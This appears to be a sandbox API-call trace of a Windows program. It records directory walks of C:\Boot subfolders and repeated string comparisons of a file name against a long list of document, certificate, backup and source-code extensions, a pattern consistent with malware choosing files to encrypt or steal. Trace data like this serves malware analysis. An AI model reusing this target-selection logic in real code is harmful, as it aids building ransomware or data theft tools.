[0060.877] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0060.877] lstrlenW (lpString=".opt") returned 4 [0060.877] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".oqy") returned 4 [0060.877] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0060.877] lstrlenW (lpString=".orf") returned 4 [0060.878] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".p12") returned 4 [0060.878] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".p7b") returned 4 [0060.878] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".p7c") returned 4 [0060.878] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".pam") returned 4 [0060.878] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".pbm") returned 4 [0060.878] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".pct") returned 4 [0060.878] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".pcx") returned 4 [0060.878] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".pdd") returned 4 [0060.878] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".pdf") returned 4 [0060.878] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".pdp") returned 4 [0060.878] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".pef") returned 4 [0060.878] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".pem") returned 4 [0060.878] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".pff") returned 4 [0060.878] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".pfm") returned 4 [0060.878] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".pfx") returned 4 [0060.878] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".pgm") returned 4 [0060.878] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".php") returned 4 [0060.878] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0060.878] lstrlenW (lpString=".php3") returned 5 [0060.879] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0060.879] lstrlenW (lpString=".php4") returned 5 [0060.879] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0060.879] lstrlenW (lpString=".php5") returned 5 [0060.879] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0060.879] lstrlenW (lpString=".phtml") returned 6 [0060.879] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0060.879] lstrlenW (lpString=".pict") returned 5 [0060.879] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0060.879] lstrlenW (lpString=".pl") returned 3 [0060.879] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0060.879] lstrlenW (lpString=".pls") returned 4 [0060.879] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0060.879] lstrlenW (lpString=".pm") returned 3 [0060.879] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0060.879] lstrlenW (lpString=".png") returned 4 [0060.879] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0060.879] lstrlenW (lpString=".pnm") returned 4 [0060.879] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0060.879] lstrlenW (lpString=".pot") returned 4 [0060.879] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0060.879] lstrlenW (lpString=".potm") returned 5 [0060.879] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0060.879] lstrlenW (lpString=".potx") returned 5 [0060.879] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0060.879] lstrlenW (lpString=".ppa") returned 4 [0060.879] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0060.879] lstrlenW (lpString=".ppam") returned 5 [0060.879] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0060.879] lstrlenW (lpString=".ppm") returned 4 [0060.879] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0060.879] lstrlenW (lpString=".pps") returned 4 [0060.879] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0060.879] lstrlenW (lpString=".ppsm") returned 5 [0060.879] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0060.879] lstrlenW (lpString=".ppt") returned 4 [0060.879] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0060.880] lstrlenW (lpString=".pptm") returned 5 [0060.880] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0060.880] lstrlenW (lpString=".pptx") returned 5 [0060.880] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0060.880] lstrlenW (lpString=".prn") returned 4 [0060.880] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0060.880] lstrlenW (lpString=".ps") returned 3 [0060.880] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0060.880] lstrlenW (lpString=".psb") returned 4 [0060.880] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0060.880] lstrlenW (lpString=".psd") returned 4 [0060.880] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0060.880] lstrlenW (lpString=".pst") returned 4 [0060.880] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0060.880] lstrlenW (lpString=".ptx") returned 4 [0060.880] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0060.880] lstrlenW (lpString=".pub") returned 4 [0060.880] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0060.880] lstrlenW (lpString=".pwm") returned 4 [0060.880] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0060.880] lstrlenW (lpString=".pxr") returned 4 [0060.880] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0060.880] lstrlenW (lpString=".py") returned 3 [0060.880] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0060.880] lstrlenW (lpString=".qt") returned 3 [0060.880] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0060.880] lstrlenW (lpString=".r3d") returned 4 [0060.880] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0060.880] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.880] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.881] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0060.881] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.881] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.881] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.881] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.881] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.881] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.881] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0060.881] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.881] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.881] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.882] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.882] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.882] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.882] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0060.882] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.882] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.882] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.882] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.882] FindClose (in: hFindFile=0x5a2db8 | out: hFindFile=0x5a2db8) returned 1 [0060.882] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39106d0 | out: hHeap=0x4b0000) returned 1 [0060.882] FindNextFileW (in: hFindFile=0x5a1d70, lpFindFileData=0x33efa84 | out: lpFindFileData=0x33efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0060.882] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39106d0 [0060.882] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a2db8 [0060.883] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.883] FindNextFileW (in: hFindFile=0x5a2db8, lpFindFileData=0x33ef808 | out: lpFindFileData=0x33ef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0060.948] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.948] lstrlenW (lpString=".1cd") returned 4 [0060.948] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.948] lstrlenW (lpString=".3ds") returned 4 [0060.948] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0060.948] lstrlenW (lpString=".3fr") returned 4 [0060.948] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0060.948] lstrlenW (lpString=".3g2") returned 4 [0060.948] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0060.948] lstrlenW (lpString=".3gp") returned 4 [0060.948] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0060.948] lstrlenW (lpString=".7z") returned 3 [0060.948] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.948] lstrlenW (lpString=".accda") returned 6 [0060.948] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0060.948] lstrlenW (lpString=".accdb") returned 6 [0060.948] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0060.948] lstrlenW (lpString=".accdc") returned 6 [0060.948] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0060.948] lstrlenW (lpString=".accde") returned 6 [0060.948] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0060.948] lstrlenW (lpString=".accdt") returned 6 [0060.948] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0060.948] lstrlenW (lpString=".accdw") returned 6 [0060.948] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0060.948] lstrlenW (lpString=".adb") returned 4 [0060.948] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0060.948] lstrlenW (lpString=".adp") returned 4 [0060.948] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0060.948] lstrlenW (lpString=".ai") returned 3 [0060.948] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0060.948] lstrlenW (lpString=".ai3") returned 4 [0060.949] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0060.949] lstrlenW (lpString=".ai4") returned 4 [0060.949] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0060.949] lstrlenW (lpString=".ai5") returned 4 [0060.949] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0060.949] lstrlenW (lpString=".ai6") returned 4 [0060.949] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0060.949] lstrlenW (lpString=".ai7") returned 4 [0060.949] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0060.949] lstrlenW (lpString=".ai8") returned 4 [0060.949] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0060.949] lstrlenW (lpString=".anim") returned 5 [0060.949] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0060.949] lstrlenW (lpString=".arw") returned 4 [0060.949] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0060.949] lstrlenW (lpString=".as") returned 3 [0060.949] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0060.949] lstrlenW (lpString=".asa") returned 4 [0060.949] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0060.949] lstrlenW (lpString=".asc") returned 4 [0060.949] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0060.949] lstrlenW (lpString=".ascx") returned 5 [0060.949] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0060.949] lstrlenW (lpString=".asm") returned 4 [0060.949] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0060.949] lstrlenW (lpString=".asmx") returned 5 [0060.949] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0060.949] lstrlenW (lpString=".asp") returned 4 [0060.949] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0060.949] lstrlenW (lpString=".aspx") returned 5 [0060.949] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0060.949] lstrlenW (lpString=".asr") returned 4 [0060.949] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0060.949] lstrlenW (lpString=".asx") returned 4 [0060.950] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0060.950] lstrlenW (lpString=".avi") returned 4 [0060.950] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0060.950] lstrlenW (lpString=".avs") returned 4 [0060.950] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0060.950] lstrlenW (lpString=".backup") returned 7 [0060.950] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0060.950] lstrlenW (lpString=".bak") returned 4 [0060.950] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0060.950] lstrlenW (lpString=".bay") returned 4 [0060.950] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0060.950] lstrlenW (lpString=".bd") returned 3 [0060.950] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0060.950] lstrlenW (lpString=".bin") returned 4 [0060.950] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0060.950] lstrlenW (lpString=".bmp") returned 4 [0060.950] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0060.950] lstrlenW (lpString=".bz2") returned 4 [0060.950] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.950] lstrlenW (lpString=".c") returned 2 [0060.950] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0060.950] lstrlenW (lpString=".cdr") returned 4 [0060.950] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0060.950] lstrlenW (lpString=".cer") returned 4 [0060.950] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0060.950] lstrlenW (lpString=".cf") returned 3 [0060.950] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0060.950] lstrlenW (lpString=".cfc") returned 4 [0060.950] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0060.950] lstrlenW (lpString=".cfm") returned 4 [0060.950] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0060.950] lstrlenW (lpString=".cfml") returned 5 [0060.950] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0060.950] lstrlenW (lpString=".cfu") returned 4 [0060.950] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".chm") returned 4 [0060.951] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".cin") returned 4 [0060.951] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".class") returned 6 [0060.951] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0060.951] lstrlenW (lpString=".clx") returned 4 [0060.951] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".config") returned 7 [0060.951] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0060.951] lstrlenW (lpString=".cpp") returned 4 [0060.951] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".cr2") returned 4 [0060.951] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".crt") returned 4 [0060.951] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".crw") returned 4 [0060.951] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".cs") returned 3 [0060.951] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0060.951] lstrlenW (lpString=".css") returned 4 [0060.951] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".csv") returned 4 [0060.951] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".cub") returned 4 [0060.951] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".dae") returned 4 [0060.951] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".dat") returned 4 [0060.951] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".db") returned 3 [0060.951] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0060.951] lstrlenW (lpString=".dbf") returned 4 [0060.951] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.951] lstrlenW (lpString=".dbx") returned 4 [0060.951] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0060.952] lstrlenW (lpString=".dc3") returned 4 [0060.952] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0060.952] lstrlenW (lpString=".dcm") returned 4 [0060.952] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0060.952] lstrlenW (lpString=".dcr") returned 4 [0060.952] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0060.952] lstrlenW (lpString=".der") returned 4 [0060.952] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0060.952] lstrlenW (lpString=".dib") returned 4 [0060.952] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0060.952] lstrlenW (lpString=".dic") returned 4 [0060.952] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0060.952] lstrlenW (lpString=".dif") returned 4 [0060.952] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0060.952] lstrlenW (lpString=".divx") returned 5 [0060.952] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0060.952] lstrlenW (lpString=".djvu") returned 5 [0060.952] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0060.952] lstrlenW (lpString=".dng") returned 4 [0060.952] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0060.952] lstrlenW (lpString=".doc") returned 4 [0060.952] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.952] lstrlenW (lpString=".docm") returned 5 [0060.952] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0060.952] lstrlenW (lpString=".docx") returned 5 [0060.952] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.952] lstrlenW (lpString=".dot") returned 4 [0060.952] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0060.952] lstrlenW (lpString=".dotm") returned 5 [0060.952] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0060.952] lstrlenW (lpString=".dotx") returned 5 [0060.952] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0060.952] lstrlenW (lpString=".dpx") returned 4 [0060.952] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0060.952] lstrlenW (lpString=".dqy") returned 4 [0060.953] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0060.953] lstrlenW (lpString=".dsn") returned 4 [0060.953] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0060.953] lstrlenW (lpString=".dt") returned 3 